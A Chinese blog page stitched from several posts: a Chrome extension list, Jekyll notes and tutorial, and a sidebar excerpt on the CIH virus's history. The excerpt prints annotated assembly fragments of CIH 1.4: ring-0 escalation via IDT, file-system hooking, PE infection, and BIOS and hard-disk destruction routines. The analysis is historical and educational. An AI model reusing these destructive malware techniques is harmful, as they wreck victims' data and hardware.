我使用的 Chrome Extension

日常使用备份,另外会单独拿出一列写写我用的 Userscript,类似微博去广告,豆瓣页面显示下载链接之类并不会存在这个列表里面。使用这一套扩展的好处有以下几点:

  • 使用账号同步,在不同电脑上同步扩展的配置,即使重装系统,所有的扩展配置都能够同步过来
  • 占用内存相对较少,部分扩展使用 [[Userscript]] 代替,减少 Chrome 常驻内存

Chrome Extension

效率类

Checker Plus for Gmail

这是一款检查 Gmail 新邮件的扩展,推送及时,并且可以不离开当前页面查看邮箱内容。

checker plus for gmail

官方地址:https://chrome.google.com/webstore/detail/checker-plus-for-gmail/oeopbcgkkoapgobdbedcemjljbihmemj

Checker Plus for Google Calendar

一款用来检查 Google Calendar 的插件,可以快速的预览 Google Calendar 中的事项,也可以直接创建 Event。

官方地址:https://chrome.google.com/webstore/detail/checker-plus-for-google-c/hkhggnncdpfibdhinjiegagmopldibha

上面两个扩展都是一位叫做 Jason Savard 的自由开发者开发的。因为我日常使用这两个网页应用比较多,自然的就找到了这两个扩展,免费版本的功能就已经可以满足 80% 需求,不过我还是小小的支持了一下作者,这可能是我付费的第一,二款 Chrome 扩展。

LastPass

密码管理 LastPass 甚至可以用来共享密码~~

LastPass: Free Password Manager LastPass, an award-winning password manager, saves your passwords and gives you secure access from every computer and mobile device.

Trello

Trello 官方的扩展,可以很轻松添加卡片。

官方地址:https://chrome.google.com/webstore/detail/trello/dmdidbedhnbabookbkpkgomahnocimke

Tampermonkey

当然他是神器 Chrome 下,扩展是能够同步的,而脚本我找到了方法也能够同步~~文中有

Tampermonkey The most popular userscript manager for Blink-based browsers

Vimium

在浏览页面的时候使用 Vim 的快捷键。

官方地址:https://chrome.google.com/webstore/detail/vimium/dbepggeogbaibhgnhhndojpepiihcmeb

广告屏蔽

曾经一度不能区别 Adblock(AB) 与 Adblock Plus(ABP), 后来大概了解了一下,可参阅我博客:http://www.einverne.tk/2013/08/ababp.html 至于后来,我只用 Adblock 了,为啥?我觉得 Adblock 更好~~文中有解释

AdBlock. The #1 ad blocker with over 200 million downloads. Blocks YouTube, Facebook and ALL ads by default (unlike Adblock Plus).

Proxy Switchysharp 已经替换成 Proxy SwitchyOmega

不解释 Proxy SwitchySharp Manage and switch between multiple proxies quickly & easily. Based on “Proxy Switchy!” & “SwitchyPlus”

目前已经替换成 Proxy SwitchyOmega

PT Plugin Plus

一个 PT 站点的管理工具,因为没有上架 Web Store 所以只能自己编译,加载安装。

Plus for Trello

Trello 的扩展,可以对每一个卡片进行计时。

官方地址:https://chrome.google.com/webstore/detail/plus-for-trello-time-trac/gjjpophepkbhejnglcmkdnncmaanojkf

bypass paywalls

用来绕过付费墙。

印象笔记·剪藏

2020 年更新

目前我已经不再使用 Evernote,所以也放弃了使用 Evernote 的剪藏。现在推荐 WizNote 或者 Joplin 的剪藏。

Evernote,千万记住用国际版

Evernote Web Clipper Use the Evernote extension to save things you see on the web into your Evernote account.

惠惠购物助手

购物比价

惠惠购物助手 网易出品】在您网购浏览商品的同时,自动对比其他优质电商同款商品价格,并提供商品价格历史,帮您轻松抄底,聪明网购不吃亏!

User Agent Switcher

看名字

User-Agent Switcher User-Agent Switcher is a quick and easy way to switch between user-agents.

扇贝网查词助手 已弃用

目前转用 GoldenDict,是操作系统级别的查词,所以也放弃了这个插件。

查词,wiki

扇贝网查词助手 扇贝网查词 Chrome 扩展,查词更方便。

Image Downloader

批量下载图片

Image Downloader Browse and download images on a web page.

RSS Subscription Extension By Google

InoReader 不解释

RSS Subscription Extension (by Google) Adds one-click subscription to your toolbar.

Hover Zoom

放大图片

Hover Zoom Enlarge thumbnails on mouse over. Works on many sites (Facebook, Twitter, Flickr, Reddit, Amazon, Tumblr, etc).

Search by Image (by Google)

以图搜图

Search by Image (by Google) This extension allows you to initiate a Google search using any image on the web. By the Google Images team.

远方 New Tab

在新建的标签页上显示随机的美景。

Dream Afar New Tab An unexpected trip everyday by simply opening a new tab

这个扩展看上去从 WebStore 下线了,永久的停留在了 0.3.12_0 版本。

以下 Chrome App

Hangouts

Hangouts 推荐使用 App 版本,看样子 Google 应该会重点发展 App 版的 Hangouts Always stay connected with the new desktop app for Hangouts on ChromeOS and Windows.

Google Keep 已经弃用,使用 Evernote 完全代替

Google Keep - notes and lists Quickly capture what’s on your mind and share those thoughts with friends and family.


2015-08-02 chrome , google , google-extension

Jekyll 修改全纪录

对于本博客的 Jekyll 修改全纪录

Rakefile 修改

增加中文拼音支持 参考:

自动隐藏 Bootstrap 导航条

开源项目 Github

404 页面

参考:

http://yizeng.me/2013/05/26/create-a-custom-jekyll-404-page/


2014-05-25 jekyll , rankfile

Jekyll Introduction

This Jekyll introduction will outline specifically what Jekyll is and why you would want to use it. Directly following the intro we’ll learn exactly how Jekyll does what it does.

Overview

What is Jekyll?

Jekyll is a parsing engine bundled as a ruby gem used to build static websites from dynamic components such as templates, partials, liquid code, markdown, etc. Jekyll is known as “a simple, blog aware, static site generator”.

Examples

This website is created with Jekyll. Other Jekyll websites.

What does Jekyll Do?

Jekyll is a ruby gem you install on your local system. Once there you can call jekyll --server on a directory and provided that directory is setup in a way jekyll expects, it will do magic stuff like parse markdown/textile files, compute categories, tags, permalinks, and construct your pages from layout templates and partials.

Once parsed, Jekyll stores the result in a self-contained static _site folder. The intention here is that you can serve all contents in this folder statically from a plain static web-server.

You can think of Jekyll as a normalish dynamic blog but rather than parsing content, templates, and tags on each request, Jekyll does this once beforehand and caches the entire website in a folder for serving statically.

Jekyll is Not Blogging Software

Jekyll is a parsing engine.

Jekyll does not come with any content nor does it have any templates or design elements. This is a common source of confusion when getting started. Jekyll does not come with anything you actually use or see on your website - you have to make it.

Why Should I Care?

Jekyll is very minimalistic and very efficient. The most important thing to realize about Jekyll is that it creates a static representation of your website requiring only a static web-server. Traditional dynamic blogs like Wordpress require a database and server-side code. Heavily trafficked dynamic blogs must employ a caching layer that ultimately performs the same job Jekyll sets out to do; serve static content.

Therefore if you like to keep things simple and you prefer the command-line over an admin panel UI then give Jekyll a try.

Developers like Jekyll because we can write content like we write code:

  • Ability to write content in markdown or textile in your favorite text-editor.
  • Ability to write and preview your content via localhost.
  • No internet connection required.
  • Ability to publish via git.
  • Ability to host your blog on a static web-server.
  • Ability to host freely on GitHub Pages.
  • No database required.

How Jekyll Works

The following is a complete but concise outline of exactly how Jekyll works.

Be aware that core concepts are introduced in rapid succession without code examples. This information is not intended to specifically teach you how to do anything, rather it is intended to give you the full picture relative to what is going on in Jekyll-world.

Learning these core concepts should help you avoid common frustrations and ultimately help you better understand the code examples contained throughout Jekyll-Bootstrap.

Initial Setup

After installing jekyll you’ll need to format your website directory in a way jekyll expects. Jekyll-bootstrap conveniently provides the base directory format.

The Jekyll Application Base Format

Jekyll expects your website directory to be laid out like so:

.
|-- _config.yml
|-- _includes
|-- _layouts
|   |-- default.html
|   |-- post.html
|-- _posts
|   |-- 2011-10-25-open-source-is-good.markdown
|   |-- 2011-04-26-hello-world.markdown
|-- _site
|-- index.html
|-- assets
    |-- css
        |-- style.css
    |-- javascripts
  • _config.yml Stores configuration data.

  • _includes This folder is for partial views.

  • _layouts This folder is for the main templates your content will be inserted into. You can have different layouts for different pages or page sections.

  • _posts This folder contains your dynamic content/posts. the naming format is required to be @YEAR-MONTH-DATE-title.MARKUP@.

  • _site This is where the generated site will be placed once Jekyll is done transforming it.

  • assets This folder is not part of the standard jekyll structure. The assets folder represents any generic folder you happen to create in your root directory. Directories and files not properly formatted for jekyll will be left untouched for you to serve normally.

(read more: https://github.com/mojombo/jekyll/wiki/Usage)

Jekyll Configuration

Jekyll supports various configuration options that are fully outlined here: (https://github.com/mojombo/jekyll/wiki/Configuration)

Content in Jekyll

Content in Jekyll is either a post or a page. These content “objects” get inserted into one or more templates to build the final output for its respective static-page.

Posts and Pages

Both posts and pages should be written in markdown, textile, or HTML and may also contain Liquid templating syntax. Both posts and pages can have meta-data assigned on a per-page basis such as title, url path, as well as arbitrary custom meta-data.

Working With Posts

Creating a Post Posts are created by properly formatting a file and placing it the _posts folder.

Formatting A post must have a valid filename in the form YEAR-MONTH-DATE-title.MARKUP and be placed in the _posts directory. If the data format is invalid Jekyll will not recognize the file as a post. The date and title are automatically parsed from the filename of the post file. Additionally, each file must have YAML Front-Matter prepended to its content. YAML Front-Matter is a valid YAML syntax specifying meta-data for the given file.

Order Ordering is an important part of Jekyll but it is hard to specify a custom ordering strategy. Only reverse chronological and chronological ordering is supported in Jekyll.

Since the date is hard-coded into the filename format, to change the order, you must change the dates in the filenames.

Tags Posts can have tags associated with them as part of their meta-data. Tags may be placed on posts by providing them in the post’s YAML front matter. You have access to the post-specific tags in the templates. These tags also get added to the sitewide collection.

Categories Posts may be categorized by providing one or more categories in the YAML front matter. Categories offer more significance over tags in that they can be reflected in the URL path to the given post. Note categories in Jekyll work in a specific way. If you define more than one category you are defining a category hierarchy “set”. Example:

---
title :  Hello World
categories : [lessons, beginner]
---

This defines the category hierarchy “lessons/beginner”. Note this is one category node in Jekyll. You won’t find “lessons” and “beginner” as two separate categories unless you define them elsewhere as singular categories.

Working With Pages

Creating a Page Pages are created by properly formatting a file and placing it anywhere in the root directory or subdirectories that do not start with an underscore.

Formatting In order to register as a Jekyll page the file must contain YAML Front-Matter. Registering a page means 1) that Jekyll will process the page and 2) that the page object will be available in the site.pages array for inclusion into your templates.

Categories and Tags Pages do not compute categories nor tags so defining them will have no effect.

Sub-Directories If pages are defined in sub-directories, the path to the page will be reflected in the url. Example:

.
|-- people
    |-- bob
        |-- essay.html

This page will be available at http://yourdomain.com/people/bob/essay.html

Recommended Pages

  • index.html You will always want to define the root index.html page as this will display on your root URL.
  • 404.html Create a root 404.html page and GitHub Pages will serve it as your 404 response.
  • sitemap.html Generating a sitemap is good practice for SEO.
  • about.html A nice about page is easy to do and gives the human perspective to your website.

Templates in Jekyll

Templates are used to contain a page’s or post’s content. All templates have access to a global site object variable: site as well as a page object variable: page. The site variable holds all accessible content and metadata relative to the site. The page variable holds accessible data for the given page or post being rendered at that point.

Create a Template Templates are created by properly formatting a file and placing it in the _layouts directory.

Formatting Templates should be coded in HTML and contain YAML Front Matter. All templates can contain Liquid code to work with your site’s data.

Rending Page/Post Content in a Template There is a special variable in all templates named : content. The content variable holds the page/post content including any sub-template content previously defined. Render the content variable wherever you want your main content to be injected into your template:

...
<body>
  <div id="sidebar"> ... </div>
  <div id="main">
    {{content}}
  </div>
</body>
...

Sub-Templates

Sub-templates are exactly templates with the only difference being they define another “root” layout/template within their YAML Front Matter. This essentially means a template will render inside of another template.

Includes

In Jekyll you can define include files by placing them in the _includes folder. Includes are NOT templates, rather they are just code snippets that get included into templates. In this way, you can treat the code inside includes as if it was native to the parent template.

Any valid template code may be used in includes.

Using Liquid for Templating

Templating is perhaps the most confusing and frustrating part of Jekyll. This is mainly due to the fact that Jekyll templates must use the Liquid Templating Language.

What is Liquid?

Liquid is a secure templating language developed by Shopify. Liquid is designed for end-users to be able to execute logic within template files without imposing any security risk on the hosting server.

Jekyll uses Liquid to generate the post content within the final page layout structure and as the primary interface for working with your site and post/page data.

Why Do We Have to Use Liquid?

GitHub uses Jekyll to power GitHub Pages. GitHub cannot afford to run arbitrary code on their servers so they lock developers down via Liquid.

Liquid is Not Programmer-Friendly.

The short story is liquid is not real code and its not intended to execute real code. The point being you can’t do jackshit in liquid that hasn’t been allowed explicitly by the implementation. What’s more you can only access data-structures that have been explicitly passed to the template.

In Jekyll’s case it is not possible to alter what is passed to Liquid without hacking the gem or running custom plugins. Both of which cannot be supported by GitHub Pages.

As a programmer - this is very frustrating.

But rather than look a gift horse in the mouth we are going to suck it up and view it as an opportunity to work around limitations and adopt client-side solutions when possible.

Aside My personal stance is to not invest time trying to hack liquid. It’s really unnecessary from a programmer’s perspective. That is to say if you have the ability to run custom plugins (i.e. run arbitrary ruby code) you are better off sticking with ruby. Toward that end I’ve built Mustache-with-Jekyll

Static Assets

Static assets are any file in the root or non-underscored subfolders that are not pages. That is they have no valid YAML Front Matter and are thus not treated as Jekyll Pages.

Static assets should be used for images, css, and javascript files.

How Jekyll Parses Files

Remember Jekyll is a processing engine. There are two main types of parsing in Jekyll.

  • Content parsing. This is done with textile or markdown.
  • Template parsing. This is done with the liquid templating language.

And thus there are two main types of file formats needed for this parsing.

  • Post and Page files. All content in Jekyll is either a post or a page so valid posts and pages are parsed with markdown or textile.
  • Template files. These files go in _layouts folder and contain your blogs templates. They should be made in HTML with the help of Liquid syntax. Since include files are simply injected into templates they are essentially parsed as if they were native to the template.

Arbitrary files and folders. Files that are not valid pages are treated as static content and pass through Jekyll untouched and reside on your blog in the exact structure and format they originally existed in.

Formatting Files for Parsing.

We’ve outlined the need for valid formatting using YAML Front Matter. Templates, posts, and pages all need to provide valid YAML Front Matter even if the Matter is empty. This is the only way Jekyll knows you want the file processed.

YAML Front Matter must be prepended to the top of template/post/page files:

---
layout: post
category : pages
tags : [how-to, jekyll]
---

... contents ...

Three hyphens on a new line start the Front-Matter block and three hyphens on a new line end the block. The data inside the block must be valid YAML.

Configuration parameters for YAML Front-Matter is outlined here: A comprehensive explanation of YAML Front Matter

Defining Layouts for Posts and Templates Parsing.

The layout parameter in the YAML Front Matter defines the template file for which the given post or template should be injected into. If a template file specifies its own layout, it is effectively being used as a sub-template. That is to say loading a post file into a template file that refers to another template file with work in the way you’d expect; as a nested sub-template.

How Jekyll Generates the Final Static Files.

Ultimately, Jekyll’s job is to generate a static representation of your website. The following is an outline of how that’s done:

  1. Jekyll collects data. Jekyll scans the posts directory and collects all posts files as post objects. It then scans the layout assets and collects those and finally scans other directories in search of pages.

  2. Jekyll computes data. Jekyll takes these objects, computes metadata (permalinks, tags, categories, titles, dates) from them and constructs one big site object that holds all the posts, pages, layouts, and respective metadata. At this stage your site is one big computed ruby object.

  3. Jekyll liquifies posts and templates. Next jekyll loops through each post file and converts (through markdown or textile) and liquifies the post inside of its respective layout(s). Once the post is parsed and liquified inside the the proper layout structure, the layout itself is “liquified”. Liquification is defined as follows: Jekyll initiates a Liquid template, and passes a simpler hash representation of the ruby site object as well as a simpler hash representation of the ruby post object. These simplified data structures are what you have access to in the templates.

  4. Jekyll generates output. Finally the liquid templates are “rendered”, thereby processing any liquid syntax provided in the templates and saving the final, static representation of the file.

Notes. Because Jekyll computes the entire site in one fell swoop, each template is given access to a global site hash that contains useful data. It is this data that you’ll iterate through and format using the Liquid tags and filters in order to render it onto a given page.

Remember, in Jekyll you are an end-user. Your API has only two components:

  1. The manner in which you setup your directory.
  2. The liquid syntax and variables passed into the liquid templates.

All the data objects available to you in the templates via Liquid are outlined in the API Section of Jekyll-Bootstrap. You can also read the original documentation here: https://github.com/mojombo/jekyll/wiki/Template-Data

Conclusion

I hope this paints a clearer picture of what Jekyll is doing and why it works the way it does. As noted, our main programming constraint is the fact that our API is limited to what is accessible via Liquid and Liquid only.

Jekyll-bootstrap is intended to provide helper methods and strategies aimed at making it more intuitive and easier to work with Jekyll =)

Thank you for reading this far.

Next Steps

Please take a look at or jump right into Usage if you’d like.


2011-12-29 intro , beginner , jekyll , tutorial

电子书

最近文章

  • CIH二三事 在母亲的回忆里,中学时的陈盈豪就很喜欢玩电脑,上了高中后更是开始专心研究电脑软件。高一那年,他开始学习 BASIC 和 C 语言,「那时候我一点都不懂,我的电脑启蒙是从电脑游戏开始的」。插卡、拔卡、研究游戏,以为这一辈子要变成游戏的设计者的他从没想过要成为病毒的制造者,报考大学也是为了写出完美的程序——因为「电脑对于我来说就是一切」。 T 恤、短裤、凉鞋,常常一副还没睡醒的样子就来上课,就是大学同学眼中的陈盈豪。不过一提起电脑马上变得不一样,甚至一下课就会跑会宿舍打开电脑,练习编程。 Windows 95 的出现让他转移了注意力,大二时开始研究 Windows 的 Kernel(内核,操作系统的核心部分)。每天打开系统找 Bug,有时为了怕自己忘记已经进行到哪里,常常 24 小时不睡觉一直不停的调试。直到他发现 Windows95 只要通过一行 C 语言程序就可以让系统宕机,这行程序能毁掉中断向量表——这也是 CIH 病毒体积只有 700 个字节,却能毁掉系统的原因之一。1不到1KB就能删除你的BIOS,破坏你的硬盘。2 他一致强调兴趣执着和专注力。在 2013HITCON 现场,主持人问及如何在接触电脑 5 年的时间内就能写出 CIH,陈盈豪的回答是「因为只做一件事」。专注于一件事情,网站、Java 都不写,把所有时间都放在专注研究 Kernel 上。 高一第一次接触电脑病毒时,陈盈豪觉得病毒很恐怖、担心会被传染,大学的课程和对专业知识的钻研造就驱散了这些恐惧。大四时周围的人都说电脑病毒无法毁掉 BIOS(基本输入输出系统,为计算机提供最底层的、最直接的硬件设置和控制),他却认为有工具能升级 BIOS,那么病毒也可以升级它。为了调试程序陈盈豪电脑的 BIOS 当然也烧掉过——屏幕一片漆黑——再烧买来的第二颗新的 BIOS。 不眠不休的一步步调试,再加上喜欢优化程序一个一个字符的减少病毒体积,CIH 病毒最后只有不到 800 个字节。作为实验程序,CIH 被陈盈豪存储在校内供他个人使用的主机上,并加上了「病毒」的警告。他的本意并不是为了造成破坏,CIH 的流行是因为在他不知情的状况下,他的同学使用了实验用电脑而将病毒携出。 不然谁会用自己的名字,去命名一个病毒? 体积小、能自行改变程序码分布、又能隐藏在文件未使用的空白区且不改变文件大小,CIH 由于不易察觉而迅速传播开来。1998 年 4 月 26 日 CIH 第一次爆发就震惊了世界,让 6000 万主机宕机的病毒背后,竟然是一个还在读大学的年轻人。 源码分析2 CIH 1.4 的源码可以在github上找到。作者的编码习惯很好,各部分都也有注释,开头部分是版本记录,将版本变化的具体时间和具体功能都记录了下来。 我们先把时间线理一下。 1.0版的完成时间是1998年4月26日, 完成基本功能,此时病毒的大小是656个字节。 1.1版的完成时间是1998年5月15日, 增加操作系统判断,如果是WinNT,则不运行病毒,此时病毒的大小是796个字节。 1.2版的完成时间是1998年5月21日, 增加删除BIOS和破坏硬盘功能,此时病毒的大小是1003个字节。 1.3版的完成时间是1998年5月24日, 修复感染winzip自解压文件的错误,此时病毒的大小是1010个字节。 1.4版的完成时间是1998年5月31日, 彻底修复感染winzip自解压文件的错误,此时病毒的大小是1019个字节。 1998年7月26日,CIH病毒在美国大面积传播;1998年8月26日,CIH病毒实现了全球蔓延,公安部发出紧急通知,新华社和新闻联播跟进报导; 之后,CIH病毒作者陈盈豪公开道歉并积极提供解毒程式和防毒程式,CIH病毒逐渐得到有效控制。 PE文件头 源码第一部分是文件头: OriginalAppEXE SEGMENT FileHeader: db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h ..... db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h dd 00000000h, VirusSize OriginalAppEXE ENDS 就是PE文件的MZ文件头。 这段文件头的主要目的是为了符合PE(Portable Execute, 可移植执行文件格式)文件格式.我们常见的EXE,DLL,OCX等文件都必须符合微软规定的PE格式,这样Windows操作系统才能识别并执行,这里我们跳过不做分析,感兴趣的读者可以对照PE文件头和源码自行分析。网络上也有很多关于PE格式分析的文章。 另外,请各位读者注意,因为CIH的故事已经过去很久了,CIH所曾经使用的有些技术已经过时,但却能在今天找到借鉴,有些技术则没有过时,可谓生命力顽强,这一点我会在文章中一一指出,希望能供大家参考借鉴。 VirusGame SEGMENT ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame ; ********************************************************* ; * Ring3 Virus Game Initial Program * ; ********************************************************* 病毒真正开始运行是从VirusGame段开始的。作者完成这个病毒时是23岁,还是少年人的心性。 修改SEH MyVirusStart: push ebp ; ************************************* ; * Let's Modify Structured Exception * ; * Handing, Prevent Exception Error * ; * Occurrence, Especially in NT. * ; ************************************* lea eax, [esp-04h*2] xor ebx, ebx xchg eax, fs:[ebx] call @0 @0: pop ebx lea ecx, StopToRunVirusCode-@0[ebx] push ecx push eax 程序的第一段是修改Windows的SEH(Structured Exception Handing)。首先,什么是SEH?为什么要修改SEH呢? SEH,Structured Exception Handing, 结构化异常处理,是Windows操作系统的异常和分发处理机制.该机制的实现方式是将FS[0]指向一个链表,该链表告诉操作系统当出现异常的时候应该找谁处理。 类似于我们现实生活中的紧急联系人列表,如果应用程序出了什么问题,就交给链表中的一号紧急联系人处理,如果一号紧急联系人无法处理,就交给二号联系人。依次类推。当所有的异常处理函数都调用完成,而异常仍然没有处理掉,这时,操作系统就会调用默认的异常处理程序,通常是给出错误提示并关闭应用程序。 而修改SEH的原因我们会在稍后介绍。 以上代码通过修改FS[0]使得当前的SEH指向StopToRunVirusCode SEH是Windows提供的异常处理机制,直至今天仍然在各个安全领域应用。 进入内核 odify * ; * IDT(Interrupt Descriptor Table) * ; * to Get Ring0 Privilege... * ; ************************************* push eax ; sidt [esp-02h] ; Get IDT Base Address pop ebx ; add ebx, HookExceptionNumber*08h+04h ; ZF = 0 cli mov ebp, [ebx] ; Get Exception Base mov bp, [ebx-04h] ; Entry Point lea esi, MyExceptionHook-@1[ecx] push esi mov [ebx-04h], si ; shr esi, 16 ; Modify Exception mov [ebx+02h], si ; Entry Point Address pop esi int HookExceptionNumber 接下来这段代码通过修改中断描述符表,获得CPU的ring0权限。 而在WinNT操作系统中,IDT所指向的内存已经无法修改,因此在执行这段代码时,会产生异常。也就是说,这种获取Ring0权限的方法,现在已经没有效果了。 因此,上段代码修改SEH,或者称为编辑SEH的目的就很明了了。 目的就在与识别当前的操作系统,如果发现是WinNT或以后的操作系统,就会自动产生异常并跳到StopToRunVirusCode,停止运行。 当在win9x操作系统时,这段代码通过修改中断描述符表,使异常处理函数指向MyExceptionHook。最后一句 int HookExceptionNumber 则直接触发异常,进入MyExceptionHook。下面我们进入MyExceptionHook进行分析。 MyExceptionHook: @2 = MyExceptionHook jz InstallMyFileSystemApiHook ; ************************************* ; * Do My Virus Exist in System !? * ; ************************************* mov ecx, dr0 jecxz AllocateSystemMemoryPage 这里有一个小技巧。病毒使用dr0寄存器存放病毒的安装状态,dr0寄存器主要用于调试,在应用程序正常运行过程中一般不会修改。因此,将其作为一个全局的临时寄存器。 第一次进入MyExceptionHook时,因为jz的条件并不成立,并不会跳到InstallMyFileSystemApiHook, 而是跳到AllocateSystemMemoryPage进行内存的分配。 此后我们还会第二次回到MyExceptionHook,这时才会调用InstallMyFileSystemApiHook,安装系统钩子。 ; ************************************* ; * Merge All Virus Code Section * ; ************************************* push esi mov esi, eax LoopOfMergeAllVirusCodeSection: mov ecx, [eax-04h] rep movsb sub eax, 08h mov esi, [eax] or esi, esi jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1 jmp LoopOfMergeAllVirusCodeSection QuitLoopOfMergeAllVirusCodeSection: pop esi 在调用AllocateSystemMemoryPage分配了系统内存后,接下来这段代码会将病毒代码复制到此前分配的系统内存中。 挂钩系统调用 ; ************************************* ; * Generate Exception Again * ; ************************************* int HookExceptionNumber ; GenerateException Again 接下来第二次调用int指令进入MyExceptionHook。接着会跳到InstallMyFileSystemApiHook。 InstallMyFileSystemApiHook: lea eax, FileSystemApiHook-@6[edi] push eax ; int 20h ; VXDCALL IFSMgr_InstallFileSystemApiHook IFSMgr_InstallFileSystemApiHook = $ ; dd 00400067h ; Use EAX, ECX, EDX, and flags mov dr0, eax ; Save OldFileSystemApiHook Address pop eax ; EAX = FileSystemApiHook Address ; Save Old IFSMgr_InstallFileSystemApiHook Entry Point mov ecx, IFSMgr_InstallFileSystemApiHook-@2[esi] mov edx, [ecx] mov OldInstallFileSystemApiHook-@3[eax], edx ; Modify IFSMgr_InstallFileSystemApiHook Entry Point lea eax, InstallFileSystemApiHook-@3[eax] mov [ecx], eax cli jmp ExitRing0Init 顾名思义,以上代码就是把病毒的文件处理函数hook到系统调用中。采用的是一种已经被Windows废弃了的技术,叫做VXD,这种技术只能在win9x系统上才能使用,到了WinNT已经不能使用了。 但实际上原理是一样的,主要的目的是挂钩文件操作函数的系统调用,方法也大同小异,先获取旧的系统调用地址,使用我们的调用函数替换旧的函数,执行完我们的功能后回到旧的地址。 花开两枝,我们各表一支。到这里我们先记住,病毒安装了一个系统调用钩子,当执行文件操作的时候,会运行到我们的钩子函数里面。 这里我们看到,安装完钩子以后,会跳到ExitRing0Init,退出ring0状态。 ExitRing0Init: mov [ebx-04h], bp ; shr ebp, 16 ; Restore Exception mov [ebx+02h], bp ; iretd 退出Ring0之后接着向下走。 ; ************************************* ; * Let's Restore * ; * Structured Exception Handing * ; ************************************* ReadyRestoreSE: sti xor ebx, ebx jmp RestoreSE RestoreSE: pop dword ptr fs:[ebx] pop eax ; ************************************* ; * Return Original App to Execute * ; ************************************* pop ebp push 00401000h ; Push Original OriginalAddressOfEntryPoint = $-4 ; App Entry Point to Stack ret ; Return to Original App Entry Point 这时,打开中断并恢复之前被病毒修改的SEH,毕竟我们的中断已经关得够久了。 最后,如果是通过其他被感染的程序进来的,就回到之前程序的入口点继续执行,否则,直接ret退出。 接下来,我们分析之前挂钩的函数FileSystemApiHook; 当有文件读写调用时,Windows会调用被病毒替换的FileSystemApiHook。 因为是VXD的驱动程序,程序借鉴意义不大,到这里,我们加快速度,分析的粒度会粗一些。 首先根据系统调用的入参判断是否是打开文件调用。如果是打开文件调用则获取需要打开的文件的路径。 接着,作者用大概100行左右的汇编代码判断一个文件是否是PE文件,如果是PE文件就将病毒代码感染到文件中。 感染的方式将病毒代码写入PE文件,修改PE文件的签名,并修改入口点为病毒代码。 ; *************************** ; * Let's Modify the * ; * AddressOfEntryPoint to * ; * My Virus Entry Point * ; *************************** mov (NewAddressOfEntryPoint-@9)[esi], edx ; *************************** ; * Let's Write * ; * Virus Code to the File * ; *************************** WriteVirusCodeToFile: ...... jmp WriteVirusCodeToFile 潜伏与发作 同时,当系统调用参数为cloasefile时,进行当前时间判断: CloseFile: xor eax, eax mov ah, 0d7h call edi ; VXDCall IFSMgr_Ring0_FileIO ; ************************************* ; * Need to Restore File Modification * ; * Time !? * ; ************************************* popf pop esi jnc IsKillComputer IsKillComputer: ; Get Now Day from BIOS CMOS mov al, 07h out 70h, al in al, 71h xor al, 26h ; ??/26/???? 在IsKillComputer可以看到CIH设计了一个潜伏策略,先感染,然后并不发作,以增加感染的机会,直到当前日期是26日时大家统一发作。 当时间悄然的来到26号时,CIH开始破坏BIOS和硬盘。 破坏BIOS的方法为: 1.将BIOS的内容映射到内存,然后设置BIOS可写。主要调用了IOForEEPROM和EnableEEPROMToWrite。 IOForEEPROM: @10 = IOForEEPROM xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp in al, dx BooleanCalculateCode = $ or al, 44h xchg eax, edi xchg edx, ebp out dx, eax xchg eax, edi xchg edx, ebp out dx, al ret 从上面的代码可以看到,CIH使用in,和out指令进行BIOS数据的修改。 而破坏硬盘的方法是利用了我们之前提到的VXD调用IOS_SendCommand。 KillHardDisk: ...... push ebx sub esp, 2ch push 0c0001000h mov bh, 08h push ebx push ecx push ecx push ecx push 40000501h inc ecx push ecx push ecx mov esi, esp sub esp, 0ach LoopOfKillHardDisk: int 20h dd 00100004h ; VXDCall IOS_SendCommand ...... jmp LoopOfKillHardDisk 总结 最后,我们来梳理一下: 病毒得到执行后会修改IDT,进入内核。这应该算是Win9X系统的一个漏洞,在WinNT及以后的系统这种进入内核的方法已经失效。 进入内核的主要目的安装系统钩子,钩住文件读写调用,钩住系统调用后退出Ring0; 当有文件读写调用且文件是PE文件时,将病毒感染到PE文件中。 潜伏下来,直到每月的26日统一发作,开始破坏BIOS和硬盘数据。 后续1 由于新竹和台北的科技企业离故乡太远,陈盈豪毕业后选择了一家做 Linux 系统的公司工作,因为「骑车只要 10 分钟」。后来又到集嘉通訊为系统排除疑难杂症,还开发出了一套自己独有的分析程序(被他称为「善良病毒」)测试手机系统。 2012 年,休假的陈盈豪选择徒步环台湾岛一周。55 天、1200 公里,每天 10 小时的步行,在路途上思考「为什么而活」。旅途上积累的回忆却没有产品梳理,休息了一年后的 2013 年 7 月,陈盈豪正式开始了自己的创业项目 8tory。8tory 是一款基于照片 GPS 信息的照片分享应用,当你拍完照片就能看到照片的地点、地图,还可以向他人展示你的经历。主打「回忆」的这款安卓客户端应用。 在知乎「那些曾经大名鼎鼎的黑客现在都在干什么?」这个问题下(没错他已经注册了知乎),陈盈豪写下了创业的艰难,需要面对用户、面对投资人、需要资金,「一直被用戶狠狠的教訓」,但并不会放弃。 (2015年)7 月陈盈豪将会来到北京,参加乌云白帽子大会。 https://www.geekpark.net/news/212936 ↩ ↩2 https://www.anquanke.com/post/id/164959 ↩ ↩2
  • 网页嵌入QQ联系方式 该功能基于QQ推广,目前可以直接访问这里,登陆用作联系方式的QQ号,直接复制HTML代码就可以啦。
  • 网络视频获取 犹记得当初视频获取之便利。今日互联网,能看到视频但不能下载。 提供视频解析服务的网站/软件
  • 信息安全名人 2010新编中国顶级安全圈内人物12 https://www.cnblogs.com/milantgh/p/3853932.html ↩ 本文作者milantgh为《Web安全漏洞原理及实战》作者。网络安全专家,信息安全顾问 ↩
  • 网站收藏 善用佳软